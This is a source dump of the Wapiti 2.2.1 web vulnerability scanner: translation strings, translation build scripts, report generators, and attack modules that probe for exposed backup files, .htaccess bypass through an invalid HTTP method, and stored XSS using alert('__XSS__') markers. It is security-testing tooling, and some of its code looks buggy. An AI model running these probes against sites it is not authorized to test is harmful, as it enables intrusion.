../net/lswww.py:498 ../net/lswww.py:544 #: ../net/lswww.py:553 ../net/lswww.py:512 ../net/lswww.py:520 #: ../net/lswww.py:522 msgid "Scan stopped, the data has been saved in the file" msgstr "Scan stopped, the data has been saved in the file" #: ../net/lswww.py:509 ../net/lswww.py:499 ../net/lswww.py:545 msgid "To continue this scan, you should launch Wapiti with" msgstr "To continue this scan, you should launch Wapiti with" #: ../net/lswww.py:509 ../net/lswww.py:492 ../net/lswww.py:499 #: ../net/lswww.py:538 ../net/lswww.py:545 msgid "parameter" msgstr "parameter" #: ../wapiti.py:491 ../wapiti.py:446 ../wapiti.py:445 ../wapiti.py:449 #: ../wapiti.py:452 msgid "" "Attack process interrupted. To perform again the attack, lauch Wapiti with " "\"-i\" or \"-k\" parameter." msgstr "" "Attack process interrupted. To perform again the attack, lauch Wapiti with " "\"-i\" or \"-k\" parameter." #: ../net/lswww.py:465 ../net/lswww.py:508 ../net/lswww.py:514 #: ../net/lswww.py:473 ../net/lswww.py:481 ../net/lswww.py:483 msgid "URLs to browse" msgstr "URLs to browse" #: ../net/lswww.py:468 ../net/lswww.py:511 ../net/lswww.py:517 #: ../net/lswww.py:476 ../net/lswww.py:484 ../net/lswww.py:486 msgid "URLs browsed" msgstr "URLs browse" #: ../net/lswww.py:491 ../net/lswww.py:537 ../net/lswww.py:546 #: ../net/lswww.py:505 ../net/lswww.py:513 ../net/lswww.py:515 msgid "This scan has been saved in the file" msgstr "This scan has been saved in the file" #: ../net/lswww.py:492 ../net/lswww.py:538 msgid "" "You can use it to perform attacks without scanning again the web site with" msgstr "" "You can use it to perform attacks without scanning again the web site with" #: ../attack/mod_permanentxss.py:110 ../attack/mod_permanentxss.py:112 msgid "injected from " msgstr "" #: ../net/lswww.py:538 ../net/lswww.py:547 ../net/lswww.py:506 #: ../net/lswww.py:514 ../net/lswww.py:516 msgid "" "You can use it to perform attacks without scanning again the web site with " "the \"-k\" parameter" msgstr "" #: ../net/lswww.py:545 ../net/lswww.py:554 ../net/lswww.py:513 #: ../net/lswww.py:521 ../net/lswww.py:523 msgid "" "To continue this scan, you should launch Wapiti with the \"-i\" parameter" msgstr "" #: ../wapiti.py:176 ../wapiti.py:175 ../wapiti.py:178 msgid "Loading modules" msgstr "" #: ../attack/mod_backup.py:56 ../attack/mod_backup.py:59 #: ../attack/mod_backup.py:65 ../attack/mod_backup.py:68 msgid "Found backup file !" msgstr "" #: ../attack/mod_backup.py:63 ../attack/mod_backup.py:72 msgid "Backup file found for" msgstr "" #: ../config/vulnerabilities/vulnerabilities.xml:103 msgid "Backup file" msgstr "Backup file" #: ../config/vulnerabilities/vulnerabilities.xml:104 msgid "Backup file description" msgstr "" "It may be possible to find backup files of scripts on the webserver that " "thewebadmin put here to save a previous version or backup files that are " "automaticallygenerated by the software editor used (like for example Emacs). " "These copies may revealinteresting informations like source code or " "credentials" #: ../config/vulnerabilities/vulnerabilities.xml:105 msgid "Backup file solution" msgstr "" "The webadmin must manually delete the backup files or remove it from the web " "root. He shouldalso reconfigure its editor to deactivate automatic backups" #: ../attack/mod_nikto.py:31 ../attack/mod_nikto.py:32 msgid "Problem with local nikto database." msgstr "" #: ../attack/mod_nikto.py:32 ../attack/mod_nikto.py:33 msgid "Downloading from the web..." msgstr "" #: ../attack/mod_nikto.py:44 ../attack/mod_nikto.py:45 msgid "Error downloading Nikto database" msgstr "" #: ../attack/mod_nikto.py:151 ../attack/mod_nikto.py:154 #: ../attack/mod_nikto.py:152 ../attack/mod_nikto.py:153 msgid "References:" msgstr "" #: ../config/vulnerabilities/vulnerabilities.xml:113 msgid "Potentially dangerous file" msgstr "" #: ../config/vulnerabilities/vulnerabilities.xml:114 msgid "Potentially dangerous file description" msgstr "" "Some scripts are known to be vulnerable or dangerous. Databases of such " "files exists and attackers often scan websites to find such vulnerabilities " "and exploit them. " #: ../config/vulnerabilities/vulnerabilities.xml:115 msgid "Potentially dangerous file solution" msgstr "" "The administrator should frequently check for new version of the scripts " "used on his server and keep informed of vulnerabilities in the software " "programs he uses by reading security-list or specialised RSS." #: ../config/vulnerabilities/vulnerabilities.xml:93 msgid "Htaccess Bypass" msgstr "" #: ../config/vulnerabilities/vulnerabilities.xml:94 msgid "Htaccess bypass description" msgstr "" "htaccess files are used to restrict access to some files or HTTP method. In " "some case it may be possible to bypass this restriction and access the files." #: ../config/vulnerabilities/vulnerabilities.xml:95 msgid "Htaccess bypass solution" msgstr "Make sure every HTTP method is forbidden if the credentials are bad." #: ../wapiti.py:256 ../wapiti.py:259 msgid "Missing dependecies for module" msgstr "" #: ../wapiti.py:262 ../wapiti.py:265 msgid "Launching module" msgstr "" #: ../attack/mod_htaccess.py:54 msgid "HtAccess protection found:" msgstr "" #: ../attack/mod_htaccess.py:73 ../attack/mod_htaccess.py:76 #: ../attack/mod_htaccess.py:96 ../attack/mod_htaccess.py:99 msgid "Source code:" msgstr "" #: ../attack/mod_htaccess.py:83 ../attack/mod_htaccess.py:85 msgid ".htaccess bypass vulnerability:" msgstr "" #: ../attack/mod_crlf.py:76 ../attack/mod_crlf.py:84 msgid "CRLF Injection" msgstr "" #: ../attack/mod_file.py:70 msgid "Remote include" msgstr "" #: ../attack/mod_sql.py:42 ../attack/mod_sql.py:44 ../attack/mod_sql.py:43 #: ../attack/mod_sql.py:45 msgid "MySQL Injection" msgstr "" #: ../attack/mod_sql.py:46 ../attack/mod_sql.py:47 msgid "Access-Based SQL Injection" msgstr "" #: ../attack/mod_sql.py:48 ../attack/mod_sql.py:50 ../attack/mod_sql.py:52 #: ../attack/mod_sql.py:49 ../attack/mod_sql.py:51 ../attack/mod_sql.py:53 msgid "MSSQL-Based Injection" msgstr "" #: ../attack/mod_sql.py:54 ../attack/mod_sql.py:55 msgid "Java.SQL Injection" msgstr "" #: ../attack/mod_sql.py:56 ../attack/mod_sql.py:57 msgid "PostgreSQL Injection" msgstr "" #: ../attack/mod_sql.py:58 ../attack/mod_sql.py:59 msgid "XPath Injection" msgstr "" #: ../attack/mod_sql.py:60 ../attack/mod_sql.py:61 msgid "LDAP Injection" msgstr "" #: ../attack/mod_sql.py:62 ../attack/mod_sql.py:63 msgid "DB2 Injection" msgstr "" #: ../attack/mod_sql.py:64 ../attack/mod_sql.py:65 msgid "Interbase Injection" msgstr "" #: ../attack/mod_sql.py:66 ../attack/mod_sql.py:67 msgid "Sybase Injection" msgstr "" #: ../attack/mod_exec.py:48 msgid "Command execution" msgstr "" #: ../attack/mod_exec.py:54 msgid "preg_replace injection" msgstr "" #: ../attack/mod_sql.py:70 msgid "Oracle Injection" msgstr "" #: ../net/getcookie.py:53 ../net/getcookie.py:125 ../net/cookie.py:42 #: ../net/getcookie.py:57 ../net/getcookie.py:130 ../net/cookie.py:46 msgid "Error getting url" msgstr "" #: ../net/getcookie.py:61 ../net/getcookie.py:63 msgid "Error fetching page" msgstr "" #: ../net/getcookie.py:75 ../net/getcookie.py:80 msgid "No forms found in this page !" msgstr "" #: ../net/getcookie.py:82 ../net/getcookie.py:87 msgid "Choose the form you want to use :" msgstr "" #: ../net/getcookie.py:91 ../net/getcookie.py:96 msgid "Enter a number : " msgstr "" #: ../net/getcookie.py:98 ../net/getcookie.py:103 msgid "Please enter values for the folling form :" msgstr "" #: ../attack/mod_crlf.py:90 ../attack/mod_crlf.py:98 msgid "Error: The server did not understand this request" msgstr "" #: ../attack/mod_xss.py:329 ../attack/mod_xss.py:334 ../attack/mod_xss.py:346 #: ../attack/mod_xss.py:349 ../attack/mod_xss.py:337 ../attack/mod_xss.py:342 #: ../attack/mod_xss.py:354 ../attack/mod_xss.py:357 msgid "Raw XSS" msgstr "" #: ../attack/mod_xss.py:337 ../attack/mod_xss.py:345 msgid "Found raw XSS in" msgstr "" wapiti-2.2.1/src/language_sources/generateTranslations.sh0000755000000000000000000000050111271105475022356 0ustar rootrootrm ../config/language/fr/LC_MESSAGES/wapiti.mo rm ../config/language/en/LC_MESSAGES/wapiti.mo rm ../config/language/es/LC_MESSAGES/wapiti.mo msgfmt fr.po -o ../config/language/fr/LC_MESSAGES/wapiti.mo msgfmt en.po -o ../config/language/en/LC_MESSAGES/wapiti.mo msgfmt es.po -o ../config/language/es/LC_MESSAGES/wapiti.mo wapiti-2.2.1/src/language_sources/generateSources.sh0000755000000000000000000000624711314154332021327 0ustar rootrootxgettext --from-code=UTF-8 -d wapiti -o es.po ../wapiti.py -j xgettext --from-code=UTF-8 -d wapiti -o es.po ../net/lswww.py -j xgettext --from-code=UTF-8 -d wapiti -o es.po ../attack/mod_crlf.py -j xgettext --from-code=UTF-8 -d wapiti -o es.po ../attack/mod_exec.py -j xgettext --from-code=UTF-8 -d wapiti -o es.po ../attack/mod_file.py -j xgettext --from-code=UTF-8 -d wapiti -o es.po ../attack/mod_sql.py -j xgettext --from-code=UTF-8 -d wapiti -o es.po ../attack/mod_blindsql.py -j xgettext --from-code=UTF-8 -d wapiti -o es.po ../attack/mod_xss.py -j xgettext --from-code=UTF-8 -d wapiti -o es.po ../attack/mod_permanentxss.py -j xgettext --from-code=UTF-8 -d wapiti -o es.po ../attack/mod_htaccess.py -j xgettext --from-code=UTF-8 -d wapiti -o es.po ../attack/mod_backup.py -j xgettext --from-code=UTF-8 -d wapiti -o es.po ../attack/mod_nikto.py -j xgettext --from-code=UTF-8 -d wapiti -o es.po ../attack/vulnerabilitiesdescriptions.py -j xgettext --from-code=UTF-8 -d wapiti -o es.po ../net/getcookie.py -j xgettext --from-code=UTF-8 -d wapiti -o es.po ../net/cookie.py -j xgettext --from-code=UTF-8 -d wapiti -o en.po ../wapiti.py -j xgettext --from-code=UTF-8 -d wapiti -o en.po ../net/lswww.py -j xgettext --from-code=UTF-8 -d wapiti -o en.po ../attack/mod_crlf.py -j xgettext --from-code=UTF-8 -d wapiti -o en.po ../attack/mod_exec.py -j xgettext --from-code=UTF-8 -d wapiti -o en.po ../attack/mod_file.py -j xgettext --from-code=UTF-8 -d wapiti -o en.po ../attack/mod_sql.py -j xgettext --from-code=UTF-8 -d wapiti -o en.po ../attack/mod_blindsql.py -j xgettext --from-code=UTF-8 -d wapiti -o en.po ../attack/mod_xss.py -j xgettext --from-code=UTF-8 -d wapiti -o en.po ../attack/mod_permanentxss.py -j xgettext --from-code=UTF-8 -d wapiti -o en.po ../attack/mod_htaccess.py -j xgettext --from-code=UTF-8 -d wapiti -o en.po ../attack/mod_backup.py -j xgettext --from-code=UTF-8 -d wapiti -o en.po ../attack/mod_nikto.py -j xgettext --from-code=UTF-8 -d wapiti -o en.po ../attack/vulnerabilitiesdescriptions.py -j xgettext --from-code=UTF-8 -d wapiti -o en.po ../net/getcookie.py -j xgettext --from-code=UTF-8 -d wapiti -o en.po ../net/cookie.py -j xgettext --from-code=UTF-8 -d wapiti -o fr.po ../wapiti.py -j xgettext --from-code=UTF-8 -d wapiti -o fr.po ../net/lswww.py -j xgettext --from-code=UTF-8 -d wapiti -o fr.po ../attack/mod_crlf.py -j xgettext --from-code=UTF-8 -d wapiti -o fr.po ../attack/mod_exec.py -j xgettext --from-code=UTF-8 -d wapiti -o fr.po ../attack/mod_file.py -j xgettext --from-code=UTF-8 -d wapiti -o fr.po ../attack/mod_sql.py -j xgettext --from-code=UTF-8 -d wapiti -o fr.po ../attack/mod_blindsql.py -j xgettext --from-code=UTF-8 -d wapiti -o fr.po ../attack/mod_xss.py -j xgettext --from-code=UTF-8 -d wapiti -o fr.po ../attack/mod_permanentxss.py -j xgettext --from-code=UTF-8 -d wapiti -o fr.po ../attack/mod_htaccess.py -j xgettext --from-code=UTF-8 -d wapiti -o fr.po ../attack/mod_backup.py -j xgettext --from-code=UTF-8 -d wapiti -o fr.po ../attack/mod_nikto.py -j xgettext --from-code=UTF-8 -d wapiti -o fr.po ../attack/vulnerabilitiesdescriptions.py -j xgettext --from-code=UTF-8 -d wapiti -o fr.po ../net/getcookie.py -j xgettext --from-code=UTF-8 -d wapiti -o fr.po ../net/cookie.py -j wapiti-2.2.1/src/report/0000755000000000000000000000000011316442105013606 5ustar rootrootwapiti-2.2.1/src/report/txtreportgenerator.py0000644000000000000000000000775011316442105020153 0ustar rootroot#!/usr/bin/env python # XML Report Generator Module for Wapiti Project # Wapiti Project (http://wapiti.sourceforge.net) # # David del Pozo # Alberto Pastor # Copyright (C) 2008 Informatica Gesfor # ICT Romulus (http://www.ict-romulus.eu) # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA from reportgenerator import ReportGenerator class TXTReportGenerator(ReportGenerator): """ This class generates a report with the method printToFile(fileName) which contains the information of all the vulnerabilities notified to this object through the method logVulnerability(vulnerabilityTypeName,level,url,parameter,info). The format of the file is XML and it has the following structure: http://www.a.com id=23 SQL Injection """ __vulnTypes = {} __vulns = {} def __init__(self): pass def addVulnerabilityType(self, name, description="", solution="", references={}): """ This method adds a vulnerability type, it can be invoked to include in the report the type. The types are not stored previously, they are added when the method logVulnerability(vulnerabilityTypeName,level,url,parameter,info) is invoked and if there is no vulnerabilty of a type, this type will not be presented in the report """ if name not in self.__vulnTypes.keys(): self.__vulnTypes[name] = {'desc':description, 'sol':solution, 'ref':references} #ref : title / url if name not in self.__vulns.keys(): self.__vulns[name] = [] def logVulnerability(self, vulnerabilityTypeName, level, url, parameter, info): """ Store the information about the vulnerability to be printed later. The method printToFile(fileName) can be used to save in a file the vulnerabilities notified through the current method. """ if vulnerabilityTypeName not in self.__vulns.keys(): self.__vulns[vulnerabilityTypeName] = [] self.__vulns[vulnerabilityTypeName].append([level, url, parameter, info]) def generateReport(self, fileName): """ Create a xml file with a report of the vulnerabilities which have been logged with the method logVulnerability(vulnerabilityTypeName,level,url,parameter,info) """ f = open(fileName,"w") try: f.write("Vulnerabilities report -- Wapiti\n") f.write(" http://wapiti.sourceforge.net/\n\n") for name in self.__vulns.keys(): if self.__vulns[name] != []: f.write(name + ":\n") for vuln in self.__vulns[name]: f.write(" in url " + vuln[1] + "\n") f.write(" with parameters " + vuln[2] + "\n") f.write("\n") f.write("This report has been generated by Wapiti Web Application Scanner\n") finally: f.close() wapiti-2.2.1/src/report/__init__.py0000644000000000000000000000000011316442105015705 0ustar rootrootwapiti-2.2.1/src/report/reportgenerator.py0000644000000000000000000000226011316442105017402 0ustar rootroot#!/usr/bin/env python # XML Report Generator Module for Wapiti Project # Wapiti Project (http://wapiti.sourceforge.net) # # David del Pozo # Alberto Pastor # Copyright (C) 2008 Informatica Gesfor # ICT Romulus (http://www.ict-romulus.eu) # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA class ReportGenerator: def addVulnerabilityType(self,name,description="",solution="",references={}): "" def logVulnerability(self,vulnerabilityTypeName,level,url,parameter,info): "" def generateReport(self,fileName): ""wapiti-2.2.1/src/report/xmlreportgenerator.py0000644000000000000000000001773511316442105020140 0ustar rootroot#!/usr/bin/env python # -*- coding: UTF-8 -*- # XML Report Generator Module for Wapiti Project # Wapiti Project (http://wapiti.sourceforge.net) # # David del Pozo # Alberto Pastor # Copyright (C) 2008 Informatica Gesfor # ICT Romulus (http://www.ict-romulus.eu) # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA from xml.dom.minidom import Document from reportgenerator import ReportGenerator WAPITI_VERSION = "Wapiti 2.2.1"; class XMLReportGenerator(ReportGenerator): """ This class generates a report with the method printToFile(fileName) which contains the information of all the vulnerabilities notified to this object through the method logVulnerability(vulnerabilityTypeName,level,url,parameter,info). The format of the file is XML and it has the following structure: http://www.a.com id=23 SQL Injection """ __xmlDoc = None __vulnerabilityTypeList = None def __init__(self): self.__xmlDoc = Document() report = self.__addReport() generated = self.__xmlDoc.createElement("generatedBy") generated.setAttribute("id", WAPITI_VERSION); report.appendChild(generated) self.__vulnerabilityTypeList = self.__xmlDoc.createElement("bugTypeList") report.appendChild(self.__vulnerabilityTypeList) def __addReport(self): report = self.__xmlDoc.createElement("report") report.setAttribute("type", "security") self.__xmlDoc.appendChild(report) return report def __addToVulnerabilityTypeList(self,vulnerabilityType): self.__vulnerabilityTypeList.appendChild(vulnerabilityType) def addVulnerabilityType(self, name, description = "", solution = "", references = {}): """ This method adds a vulnerability type, it can be invoked to include in the report the type. The types are not stored previously, they are added when the method logVulnerability(vulnerabilityTypeName,level,url,parameter,info) is invoked and if there is no vulnerabilty of a type, this type will not be presented in the report """ vulnerabilityType = self.__xmlDoc.createElement("bugType") vulnerabilityType.setAttribute("name", name) vulnerabilityType.appendChild(self.__xmlDoc.createElement("bugList")) self.__addToVulnerabilityTypeList(vulnerabilityType) if description != "": descriptionNode = self.__xmlDoc.createElement("description") descriptionNode.appendChild(self.__xmlDoc.createCDATASection(description)) vulnerabilityType.appendChild(descriptionNode) if solution != "": solutionNode = self.__xmlDoc.createElement("solution") solutionNode.appendChild(self.__xmlDoc.createCDATASection(solution)) vulnerabilityType.appendChild(solutionNode) if references != "": referencesNode = self.__xmlDoc.createElement("references") for ref in references: referenceNode = self.__xmlDoc.createElement("reference") titleNode = self.__xmlDoc.createElement("title") urlNode = self.__xmlDoc.createElement("url") titleNode.appendChild(self.__xmlDoc.createTextNode(ref)) urlNode.appendChild(self.__xmlDoc.createTextNode(references[ref])) referenceNode.appendChild(titleNode) referenceNode.appendChild(urlNode) referencesNode.appendChild(referenceNode) vulnerabilityType.appendChild(referencesNode) return vulnerabilityType def __addToVulnerabilityList(self,vulnerabilityTypeName,vulnerability): vulnerabilityType = None for node in self.__vulnerabilityTypeList.childNodes: if node.nodeType == node.ELEMENT_NODE and node.getAttribute("name") == vulnerabilityTypeName: vulnerabilityType = node break if vulnerabilityType == None: vulnerabilityType = self.addVulnerabilityType(vulnerabilityTypeName) vulnerabilityType.childNodes[0].appendChild(vulnerability) def logVulnerability(self,vulnerabilityTypeName, level, url, parameter, info): """ Store the information about the vulnerability to be printed later. The method printToFile(fileName) can be used to save in a file the vulnerabilities notified through the current method. """ vulnerability = self.__xmlDoc.createElement("bug") vulnerability.setAttribute("level", level) urlNode = self.__xmlDoc.createElement("url") urlNode.appendChild(self.__xmlDoc.createTextNode(url)) vulnerability.appendChild(urlNode) parameterNode = self.__xmlDoc.createElement("parameter") parameterNode.appendChild(self.__xmlDoc.createTextNode(parameter)) vulnerability.appendChild(parameterNode) infoNode = self.__xmlDoc.createElement("info") info = info.replace("\n", "
    ") infoNode.appendChild(self.__xmlDoc.createTextNode(info)) vulnerability.appendChild(infoNode) self.__addToVulnerabilityList(vulnerabilityTypeName,vulnerability) def generateReport(self,fileName): """ Create a xml file with a report of the vulnerabilities which have been logged with the method logVulnerability(vulnerabilityTypeName,level,url,parameter,info) """ f = open(fileName,"w") try: f.write(self.__xmlDoc.toprettyxml(indent = " ", encoding = "UTF-8")) finally: f.close() if __name__ == "__main__": SQL_INJECTION = "Sql Injection" FILE_HANDLING = "File Handling" XSS = "Cross Site Scripting" CRLF = "CRLF" EXEC = "Commands execution" try: xmlGen = XMLReportGenerator() xmlGen.addVulnerabilityType(SQL_INJECTION) xmlGen.addVulnerabilityType(FILE_HANDLING) xmlGen.addVulnerabilityType(XSS) xmlGen.addVulnerabilityType(CRLF) xmlGen.addVulnerabilityType(EXEC) xmlGen.logVulnerability("SQL Inyection", "1", "url1", "parameter1", "info1") xmlGen.logVulnerability("SQL Inyection", "2", "url2", "parameter2", "info2") xmlGen.logVulnerability("SQL Inyection", "2", "url3", "parameter3", "info3") xmlGen.logVulnerability("SQL Inyection", "3", "url4", "parameter4", "info4") xmlGen.logVulnerability("Cross Site Scripting", "3", "url5", "parameter5", "info5") xmlGen.logVulnerability("Cross Site Scripting", "3", "url6", "parameter6", "info6") xmlGen.logVulnerability("Cross Site Scripting", "2", "url7", "parameter7", "info7") xmlGen.logVulnerability("Cross Site Scripting", "1", "url8", "parameter8", "info8") xmlGen.logVulnerability("Google Hacking", "2", "url9", "parameter9", "info9") xmlGen.printToFile("sampleReport.xml") except SystemExit: pass wapiti-2.2.1/src/report/htmlreportgenerator.py0000644000000000000000000000717511316442105020301 0ustar rootroot#!/usr/bin/env python # XML Report Generator Module for Wapiti Project # Wapiti Project (http://wapiti.sourceforge.net) # # Alberto Pastor # David del Pozo # Copyright (C) 2008 Informatica Gesfor # ICT Romulus (http://www.ict-romulus.eu) # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA import os from os.path import exists from xml.dom.minidom import Document from xmlreportgenerator import XMLReportGenerator from shutil import copytree, rmtree class HTMLReportGenerator(XMLReportGenerator): """ This class generates an XML report calling the method printToFile(fileName) of its Base class (XMLReportGenerator) For more information see XMLReportGenerator class Also, Copy the report structure in the specified directory The structure is as follow: /report index.html (visualization file) vulnerabilities.xml (report xml file) /includes /js (contains all js files) /css (contains the stylesheet files) /images (contains the required images) """ BASE_DIR = os.path.normpath(os.path.join(os.path.abspath(__file__), '../..')) REPORT_DIR = "report_template" REPORT_XML_FILE = "vulnerabilities.xml" def generateReport(self,fileName): """ Copy the report structure in the specified 'fileName' directory If these path exists, it will be overwritten """ if os.path.exists(fileName): rmtree(fileName) copytree(self.BASE_DIR + "/" + self.REPORT_DIR, fileName) """ Create a xml file with a report of the vulnerabilities calling the Base class """ XMLReportGenerator.generateReport(self, fileName + "/" + self.REPORT_XML_FILE) if __name__ == "__main__": SQL_INJECTION = "Sql Injection" FILE_HANDLING = "File Handling" XSS = "Cross Site Scripting" CRLF = "CRLF" EXEC = "Commands execution" try: xmlGen = HTMLReportGenerator() xmlGen.addVulnerabilityType(SQL_INJECTION) xmlGen.addVulnerabilityType(FILE_HANDLING) xmlGen.addVulnerabilityType(XSS) xmlGen.addVulnerabilityType(CRLF) xmlGen.addVulnerabilityType(EXEC) xmlGen.logVulnerability("SQL Inyection", "1", "url1", "parameter1", "info1") xmlGen.logVulnerability("SQL Inyection", "2", "url2", "parameter2", "info2") xmlGen.logVulnerability("SQL Inyection", "2", "url3", "parameter3", "info3") xmlGen.logVulnerability("SQL Inyection", "3", "url4", "parameter4", "info4") xmlGen.logVulnerability("Cross Site Scripting", "3", "url5", "parameter5", "info5") xmlGen.logVulnerability("Cross Site Scripting", "3", "url6", "parameter6", "info6") xmlGen.logVulnerability("Cross Site Scripting", "2", "url7", "parameter7", "info7") xmlGen.logVulnerability("Cross Site Scripting", "1", "url8", "parameter8", "info8") xmlGen.logVulnerability("Google Hacking", "2", "url9", "parameter9", "info9") """xmlGen.printToFile("sampleReport.xml")""" xmlGen.generateReport("hola") except SystemExit: pass wapiti-2.2.1/src/attack/0000755000000000000000000000000011316442105013542 5ustar rootrootwapiti-2.2.1/src/attack/mod_backup.py0000644000000000000000000000402411316442105016220 0ustar rootroot#!/usr/bin/env python # # Authors: # Anthony DUBOCAGE # Guillaume TRANCHANT # Gregory FONTAINE from net import BeautifulSoup from attack import Attack from vulnerability import Vulnerability from vulnerabilitiesdescriptions import VulnerabilitiesDescriptions as VulDescrip class mod_backup(Attack): """ This class implements a "backup attack" """ payloads = [] CONFIG_FILE = "backupPayloads.txt" name = "backup" doGET = False doPOST = False def __init__(self, HTTP, xmlRepGenerator): Attack.__init__(self, HTTP, xmlRepGenerator) self.payloads = self.loadPayloads(self.CONFIG_DIR+"/"+self.CONFIG_FILE) def __returnErrorByCode(self,code): err = "" if code == "404": err = "Not found" if code[0] == "1" or code[0] == "2": err = "ok" return err def attackGET(self, page, dict, headers = {}): # Do not attack application-type files if not headers.has_key("content-type"): # Sometimes there's no content-type... so we rely on the document extension if (page.split(".")[-1] not in self.allowed) and page[-1] != "/": return elif headers["content-type"].find("text") == -1: return for k in self.payloads: url = page + k if self.verbose == 2: print "+ " + url if url not in self.attackedGET: self.attackedGET.append(url) try: data, code = self.HTTP.send(url).getPageCode() err = self.__returnErrorByCode(code) if err == "ok": if self.color == 1: print self.RED + _("Found backup file !") + self.STD print self.RED + " -> " + url + self.STD else: print " +", _("Found backup file !") print " -> " + url self.reportGen.logVulnerability(Vulnerability.BACKUP, Vulnerability.HIGH_LEVEL_VULNERABILITY, url, "", _("Backup file found for") + " " + page) except socket.timeout: data = "" break wapiti-2.2.1/src/attack/mod_htaccess.py0000644000000000000000000000663211316442105016557 0ustar rootroot#!/usr/bin/env python # # Authors: # Anthony DUBOCAGE # Guillaume TRANCHANT # Gregory FONTAINE from attack import Attack from vulnerability import Vulnerability from vulnerabilitiesdescriptions import VulnerabilitiesDescriptions as VulDescrip class mod_htaccess(Attack): """ This class implements a htaccess attack """ name = "htaccess" doGET = False doPOST = False def __init__(self, HTTP, xmlRepGenerator): Attack.__init__(self, HTTP, xmlRepGenerator) #this function return code signification when htaccess protection enabled def __returnErrorByCode(self, code): err = "" if code == "401": err = "Authorization Required" elif code == "402": err = "Payment Required" elif code == "403": err = "Forbidden" else: err = "ok" return err def attackGET(self, page, dict, headers = {}): err = "" url = page err500 = 0 if url not in self.attackedGET: #print the url if verbose equal 2 if self.verbose == 2: print "+ " + url err1 = self.__returnErrorByCode(headers["status"]) if err1 != "ok": data1 = self.HTTP.send(url).getPage() #htaccess protection detected if self.verbose >= 1: print _("HtAccess protection found:"), url data2, code2 = self.HTTP.send(url, method = "ABC").getPageCode() err2 = self.__returnErrorByCode(code2) if err2 == "ok": #htaccess bypass success #print output informations by verbosity option if self.verbose >= 1: if self.color == 1: print self.CYAN + "|HTTP Code : ", headers["status"], ":", err1 + self.STD else: print "|HTTP Code : ", headers["status"], ":", err1 if self.verbose == 2: if self.color == 1: print self.YELLOW + _("Source code:") + self.STD print self.GB + data1 + self.STD else: print _("Source code:") print data1 #report xml generator (ROMULUS) not implemented for htaccess self.reportGen.logVulnerability(Vulnerability.HTACCESS, Vulnerability.HIGH_LEVEL_VULNERABILITY, \ url, "", err + " HtAccess") if self.color == 1: print self.RED + " " + _(".htaccess bypass vulnerability:"), url + self.STD else: print " " + _(".htaccess bypass vulnerability:"), url #print output informations by verbosity option if self.verbose >= 1: if self.color == 1: print self.CYAN + "|HTTP Code : ", code2 + self.STD else: print "|HTTP Code : ", code2 if self.verbose == 2: if self.color == 1: print self.YELLOW + _("Source code:") + self.STD print self.GB + data2 + self.STD else: print _("Source code:") print data2 else: if code1 == 500 and err500 == 0: err500 = 1 self.reportGen.logVulnerability(Vulnerability.HTACCESS, Vulnerability.HIGH_LEVEL_VULNERABILITY, \ url, "", VulDescrip.ERROR_500 + "\n" + VulDescrip.ERROR_500_DESCRIPTION) print _("500 HTTP Error code with") print " " + _("Evil url") + ":",url #add the url with the url attacked self.attackedGET.append(url) wapiti-2.2.1/src/attack/mod_permanentxss.py0000644000000000000000000001233011316442105017501 0ustar rootroot#!/usr/bin/env python import random import re import socket from net import BeautifulSoup from attack import Attack from vulnerability import Vulnerability from vulnerabilitiesdescriptions import VulnerabilitiesDescriptions as VulDescrip class mod_permanentxss(Attack): """ This class implements a cross site scripting attack """ # magic strings we must see to be sure script is vulnerable to XSS # payloads must be created on those paterns script_ok = [ "alert('__XSS__')", "alert(\"__XSS__\")", "String.fromCharCode(0,__XSS__,1)" ] # simple payloads that doesn't rely on their position in the DOM structure # payloads injected after closing a tag aatibute value (attrval) or in the # content of a tag (text node like beetween

    and

    ) # only trick here must be on character encoding, filter bypassing, stuff like that # form the simplest to the most complex, Wapiti will stop on the first working independant_payloads = [] name = "permanentxss" require = ["xss"] PRIORITY = 6 HTTP = None # two dict for permanent XSS scanning GET_XSS = {} POST_XSS = {} CONFIG_FILE = "xssPayloads.txt" def __init__(self, HTTP, xmlRepGenerator): Attack.__init__(self, HTTP, xmlRepGenerator) self.independant_payloads = self.loadPayloads(self.CONFIG_DIR + "/" + self.CONFIG_FILE) # permanent XSS def attack(self, urls, forms): """This method searches XSS which could be permanently stored in the web application""" for url, headers in urls.items(): if self.verbose >= 1: print "+", url try: data = self.HTTP.send(url).getPage() except socket.timeout: data = "" if self.doGET == 1: for code in self.GET_XSS.keys(): if data.find(code) >= 0: # we where able to inject the ID but will we be able to inject javascript? for xss in self.independant_payloads: attack_url = self.GET_XSS[code].replace(code, xss.replace("__XSS__", code)) try: self.HTTP.send(attack_url) dat = self.HTTP.send(url).getPage() except socket.timeout: dat = "" if self.validXSS(dat, code): if self.color == 0: print _("Found permanent XSS in"), url, 